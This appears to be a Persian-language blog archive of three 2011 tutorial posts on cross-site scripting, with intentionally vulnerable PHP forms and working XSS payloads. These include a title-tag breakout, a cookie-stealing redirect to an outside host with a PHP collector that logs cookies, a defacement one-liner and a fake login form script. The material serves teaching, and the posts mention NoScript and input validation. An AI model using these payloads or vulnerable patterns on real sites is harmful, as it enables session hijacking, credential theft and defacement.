بایگانی

Posts Tagged ‘XSS’

ارائه چند مثال از حملات XSS

سپتامبر 10, 2011 بیان دیدگاه

مثال 1 : مثال بسیار ساده ای که برای درک مفهوم حملات نوع XSS می توان زد به این شکل خواهد بود.

صفحه ای به نام index.html داریم که به صورت زیر است :

<html>

<head>

<title>this is a test page for sending form data</title>

</head>

<body>

  <form action=»xss_test.php» method=»get»>

       name  : <input type=»text» name=»name» /><br />

         family: <input type=»text» name=»family» /><br />

         message : <textarea name=»message»></textarea><br />

         <input type=»submit» />

    </form>

</body>

</html>

صفحه xss_test.php بدین صورت خواهید بود :

<html>

<head>

<title></title>

</head>

<body>

<?php

       $name = (isset($_REQUEST[‹name›])) ? $_REQUEST[‹name›] : »;

       $family = (isset($_REQUEST[‹name›])) ? $_REQUEST[‹family›] : »;

       $message = (isset($_REQUEST[‹name›])) ? $_REQUEST[‹message›] : »;

       echo «Thank you $name $family for sending the message.<br />»;

       echo «Your message is : $message»;

?>

</body>

</html>

قبل از اینکه این برنامه را با استفاده از acunetix اسکن کنیم بگذارید تحلیلی رو کدهای نوشته شده کرده و نفوذپذیری آن را بررسی کنیم. فرض کنید یک هکر در حال پر کردن این فرم باشد. همانطور که قبلا گفته شد، این نوع حملات در سمت کاربر انجام می شود پس با استفاده از زبان های برنامه نویسی سمت کاربر باید این اسکریپت ها نوشته شوند لذا هکر می تواند با استفاده از زبان JavaScript فیلدهای مورد نظر را پرکند تا بتواند به اطلاعات کاربر دسترسی پیدا کند. و چون هیچ اعتبارسنجی انجام نمی شود لذا هر کدی که کاربر به صفحه xss_test.php بفرستد اجرا خواهد شد. مقدار فیلدها را مانند شکل زیر پر کرده و دکمه submit را بزنید :

همانطور که می بینید ما یک script را به صفحه xss_test.php می فرستیم و با توجه به ساختار کد نویسی ما این کد نیز اجرا خواهد شد. نتیجه اجرای آن نیز در صفحه xss_test.php به شکل زیر خواهد بود.

اگر کمی دقت کنید می بینید وقتی کد های PHP کامپایل می شوند اسکریپتی که ما در فیلد message نوشتیم در تگ body جایگزین می شوند و مانند هر کد جاوا اسکرپتی که ممکن است در صفحات وجود داشته باشند اجرا می شود. برای درک بیشتر این مطلب وقتی در صفحه xss_test.php هستید روی دکمه OK کلیک کرده و سپس کدهای HTML آن را مشاهده کنید. برای این کار روی صفحه راست کلیک کرده و View Page Source را بزنید. کدها به صورت زیر خواهد بود :

<html>

<head>

<title></title>

</head>

<body>

Thank you sajjad aghapour for sending the message.<br />Your message is : Hi

<script>alert(‹XSS Attack›)</script>

</body>

</html>

اگر این برنامه را با استفاده از acunetix نیز اسکن کنیم همین نتایج برای ما نشان داده می شود. تصویر زیر گویای این مطلب خواهد بود :

مثال 2 : شاید خیلی از مواقع جاهایی وجود داشته باشد که از امن بودن کد نوشته شده مطمئن باشید، اما در این مواقع نیز باید کد خود را مورد بازبینی قرار دهید. مثالی که زده شد استفاده از این اسکریپت ها به صورت کلی و محض بود. اما با توجه به مثال زیر می توانید به عمق بیشتری از کار پی ببرید.

صفحه index.html داریم که به صورت زیر است :

<html >
<head>
<title></title>
</head>
<body>
<a href=»xss_test.php?title=sa»></a>
</body>
</html>

 محتویات صفحه xss_test.php بدین صورت خواهد بود :

<html >
<head>
<title>

<?php

         echo $_REQUEST[‹title›];

?>

</title>

</head>

<body>

</body>

</html>

در صفحه test.php عنوان صفحه از ورودی گرفته می شود و بدون هیچ اعتبارسنجی به نمایش در می آید. شاید شما فکر کنید چون در تگ title وجود تگ script بی معنا خواهد بود لذا اعتبارسنجی ورودی نیز بی معنا خواهد بود. اما با کمی تامل متوجه خواهید شد که این کد نیز در معرض حمله است. برای درک اینکه چگونه این کد در معرض حمله قرار دارد این برنامه را با acunetix اسکن می کنیم. نتیجه به شکل زیر خواهد بود :

یعنی درخواستی که هکر می فرستد به این صورت است:

http://localhost:8080/security/xss/xss_test.php?title=1</title>1<ScRiPt >prompt(985812)</ScRiPt>

مفهوم آن به این صورت است که هکر ابتدا تگ <title> را با استفاده از </title> می بندد و سپس اقدام به اجرای اسکریپت خود می کند. یعنی در اصل کد شما به این صورت در خواهد آمد :

<html>

<head>

<title>1</title>1<ScRiPt >prompt(985812)</ScRiPt>

</title>

</head>

<body>

</body>

</html>

در اینجا دو بار تگ <title> بسته شده است که این برای هکر مهم نیست. این کار یقینا استایل صفحه شما را به هم خواهد ریخت و اگر شما کاربر یک سایت هستید با توجه به این موضوع می توانید اطلاعاتی که هکر از شما ربوده است را تغییر داده و مانع از دسترسی بعدی هکر به آنها شوید. برای مثال اگر نام کاربری و کلمه عبور شما در معرض دید هکر قرار گرفته است می توانید آن را عوض کرده تا از دسترسی هکر به اکانت خود جلوگیری کنید.

اگر شما از افزونه NoScript نیز در مرورگر خود استفاده کنید این حمله را شناسایی و بلاک خواهد کرد و پیام آن بدین شکل خواهد بود :

[NoScript XSS] Sanitized suspicious request. Original URL [http://localhost:8080/security/xss/test.php?title=1%3C/title%3E1%3CScRiPt%20%3Eprompt(985812)%3C/ScRiPt%3E] requested from [chrome://browser/content/browser.xul]. Sanitized URL: [http://localhost:8080/security/xss/test.php?title=1%20%2Ftitle%3E1%20ScRiPt%20%3EPROMPT%20985812%20%20%2FScRiPt%3E#8975021026187294357].

مثال 3 : اما پا را فراتر نهیم. تا بدین جا فقط کدهایی را بررسی کردیم که شاید از دید شما امنیت سایت را آنچنان به خطر نیاندازد. در حقیقت کدها طوری نوشته شده است که فقط مطلب فهمانده شود. اما اگر همین کد اطلاعات کوکی شما را به یک صفحه برای یک هکر بفرستد امنیت کاربر به خطر خواهد افتاد. اما نکته ای که در اینجا نیز می خواهیم به آن بپردازیم این است که هر اطلاعاتی که برای هکر ارسال می شود مفید نخواهد بود. در واقع اطلاعاتی مفید خواهد بود که با استفاده از آنها نوعی دسترسی برای هکر به سایت ایجاد کند. در این مثال قصد داریم به این موضوع بپردازیم.

فرض کنید یک سیستم مدیریت محتوا داریم. در سایت امکانی وجود دارد که کاربر می تواند پیامی را برای مدیریت وبسایت ارسال کند. فرم طراحی شده در مثال یک را در نظر بگیرید. اطلاعات این فرم به سیستم مدیریت ارسال می شوند که فیلد message با داده های زیر پر می شود :

document.location = “http://GoogleA5.Com/steal.php?cookie = “ + document.cookie;

این کد به این صورت عمل خواهد کرد که اطلاعات مربوط به کوکی کاربر را به آدرس مربوطه ارسال می کند. در صفحه steal.php هکر طوری کد نویسی کرده است که اطلاعات ارسالی را گرفته و در جایی ذخیره می کند. برای مثال :

<?php
    $handle = fopen(«cookiejar.txt», «a»);
    fputs($handle, «\n».$_GET[«cookie»].»\n»);
    fclose($handle);
?>

حال فرض کنید مدیر وبسایت این پیام را چک می کند. مطمئنا اطلاعات مربوط به کوکی مدیر وبسایت برای یک هکر مفید خواهد بود. لذا هکر می تواند از این اطلاعات برای دسترسی در سطح مدیریتی استفاده نماید.

مثال 4 : اما سوء استفاده از این نوع حمله به اینجا نیز ختم نمی شود. هکر می تواند اسکریپت را طوری بنویسد که محتویات صفحه نمایش سایت را تغییر دهد که به این کار Deface گفته می شود. برای مثال :

xss_test.php?title=<script>document.body.innerHTML = "XSS Attack"</script>

این نمونه ساده ای از Deface بود. هکر می تواند طبق صفحه ورود به سایت شما به همین شکل صفحه ای را طراحی کند که شامل فرمی از فیلدهایی برای وارد کردن نام کاربری و کلمه عبور باشد و action مربوط به این فرم صفحه ای باشد که در آنجا هکر این اطلاعات را گرفته و در جایی ذخیره می کند(در اصل هکر یک faked page طراحی کرده است و به شما نمایش می دهد). حال فرض کنید یک کاربری که سطح دسترسی بالایی هم به سایت دارد به این صفحه راهنمایی می شود و با وارد کردن نام کاربری و کلمه عبور خود انتظار دارد وارد سایت شود غافل از اینکه اطلاعات او به صفحه دیگری برای یک هکر ارسال شده است. برای مثال اسکرپتی که می توان به این صورت نوشت بدین صورت خواهد بود :

function deface()

{

                var form = document.createElement(‹form›);

                form.action = ‹test.php›;

                form.method = ‹post›;

                var input = document.createElement(‹input›);

                input.type = ‹text›;

                input.name = ‹username›;

                form.appendChild(document.createTextNode(‹username : ‹));

                form.appendChild(input);

                form.appendChild(document.createElement(‹br›));

                input = document.createElement(‹input›);

                input.type = ‹text›;

                input.name = ‹pass›;

                form.appendChild(document.createTextNode(‹password : ‹));

                form.appendChild(input);

                form.appendChild(document.createElement(‹br›));

                input = document.createElement(‹input›);

                input.type = ‹submit›;

                input.name = ‹submit›;

                form.appendChild(input);

                form.appendChild(document.createElement(‹br›));

                document.body.innerHTML = »;

                document.body.appendChild(form);

}

دسته‌ها:PHP, Security برچسب‌ها: , ,

ایجاد اسکریپ در صفحات وب جهت حمله

سپتامبر 10, 2011 بیان دیدگاه

همانظور که قبلا گفته شد چون این کدها سمت کاربر اجرا می شوند پس منظور از اسکریپت کدهای PHP نیست، زیرا این کدها سمت سرور می باشند. در حالت کلی 5 تگ HTML برای گنجاندن این اسکریپت ها وجود دارد:

  1. <script> : معمولا برای درج کدهای JavaScript یا VBScript استفاده می شود.
  2. <object> : برای درج فایل هایی بر اساس کنترل هایی مثل Media Player، Flash و یا کامپوننت های ActiveX
  3. <applet> : فقط برای Java Applet ها استفاده می شود. نکته ای که در مورد این تگ وجود دارد این است که در HTML 4.01 با توجه به وجود تگ <object> این تگ از چشم افتاد و معنایی از منسوخ شدن به خود گرفت. اما باز هم کاربرد وسیع آن قابل توجه است. علی رغم این، در XHTML 1.0 نیز ساپورت نمی شود(برای اطلاعات بیشتر به http://www.w3.org/TR/xhtml1 میتوانید مراجعه کنید).
  4. <ifram> : برای گنجاندن یک صفحه در صفحه ای دیگر است.
  5. : برای گنجاندن پلاگین ها در یک صفحه مورد استفاده قرار میگیرد که معمولا این پلاگین ها برای صدا و تصویر می باشند. این تگ نیز مانند <applet> در HTML 4.01 و XHTML 1.0 وجود ندارد اما به دلیل استفاده زیاد آن توسط مرورگرها ساپورت می شود.

نکته قابل توجهی که باید به آن توجه کرد این است که اگر شما بخواهید عکسی را در سایت قرار دهید مجبور به استفاده از تگ <img> خواهید بود که فرم خاصی از <object> است، لذا ممکن است توسط آن کدهای مخربی در سایت گنجانده شود.

کدهای مخربی که با استفاده از اسکریپت ها داخل یک برنامه تزریق می شوند تقریبا هر کاری را می توانند انجام دهند. برای مثال: کنترل از راه دور مرورگر(در صورت بروز حمله XSS ، مهاجم این امکان را می یابد تا اطلاعات دلخواهی را به جای اطلاعات حقیقی نمایش دهد و در واقع کنترل صفحه نمایش اصلی وب سایت را بدست گیرد)، افشای اطلاعات کوکی، تغییر لینک ها در یک صفحه(در واقع تغییر هر آبجکتی در یک صفحه)، انتقال صفحه به صفحه ای دیگر(آدرسی به آدرس دیگر)، یا به نمایش درآوردن صفحه ای جعلی که اطلاعات را جمع آوری و برای هکر ارسال می کند و یا اعمال دیگری از این دست.

برای مشاهده لیست بلند بالایی از کدهای مخرب می توانید به آدرس http://ha.ckers.org/xss.html مراجعه کنید. این آدرس منابع خوبی در اختیار شما قرار می دهد که می توانید برای تست نرم افزار خود از آنها استفاده کنید. همچنین نگاهی اجمالی به آن نیز به شما در شناخت نفوذپذیری هایی از این نوع کمک خواهد کرد.

دسته‌ها:Security برچسب‌ها: ,

حملات XSS

سپتامبر 10, 2011 ۱ دیدگاه

Cross Site Scripting یکی از انواع حملات تزریق کد است که اسکریپت های مخرب به سایت های ظاهرا قابل اعتماد تزریق می شوند. این نوع حملات وقتی اتفاق می افتند که یک هکر از برنامه های تحت وب برای ارسال کدهای مخرب استفاده میکنند. در حالت کلی این حملات از اسکریپت های سمت کاربر شروع و در همان سمت کاربر اجرا می شوند و نتایج نیز ممکن است برای هکر فرستاده  شود. از اینرو این نوع حمله را حمله به کاربر می نامند. نقایصی که امکان این حمله را می دهند بسیار زیادند و هر جایی از یک برنامه که ورودی های کاربر را می گیرد و خروجی را بدون اینکه ورودی را اعتبارسنجی یا آن را کد کنند تولید می کنند ممکن است اتفاق بیافتد. مرورگرها راهی برای تشخیص این نوع حملات ندارند و این اسکریپت ها را اجرا خواهند کرد زیرا تصور می کنند که یک کد قابل اعتماد هستند. این کدها می توانند به کوکی ها و بسیاری از اطلاعات حساسی که توسط مرورگر نگهداری می شوند دسترسی داشته باشند. این کدها حتی محتوای صفحات وب را می توانند عوض کنند.

اغلب کاربران تصور می کنند با داشتن آنتی ویروس، به روز نگاه داشتن سیستم عامل و مرورگر و استفاده از فایروال در مقابل تمامی خطرات ایمن هستند. اما این ابزارها در مقابله با حملات XSS موثر نیستند. برای همین به راحتی کاربران می توانند قربانی این نوع حمله شوند، حتی کاربران با دانش فنی بالا. کارشناسان توصیه می کنند که در انتخاب مرورگر اینترنتی خود دقت زیادی داشته باشید. به نظر می رسد که در حال حاضر مرورگر فایرفاکس بیشترین امنیت را برای مقابله با این حملات داشته باشد. نصب یک افزونه به نام NoScript در مرورگر فایرفاکس هم به کاربران کمک می کند تا در برابر این گونه حملات ایمنی بسیار بیشتری داشته باشند.

تاکنون تعدادي از برجسته ترين نام‏هاي اينترنتي از قبيل گوگل، ياهو و MySpace، قرباني حملات XSS شده اند. علاوه بر اين ثابت شده که ده‏ها هزار سايت ديگر از جمله بانک‏ها و شرکت‏هاي ارائه کننده خدمات پزشکي و سلامتي نيز در معرض هجوم اين حملات قرار دارند.

دسته‌ها:Security برچسب‌ها: ,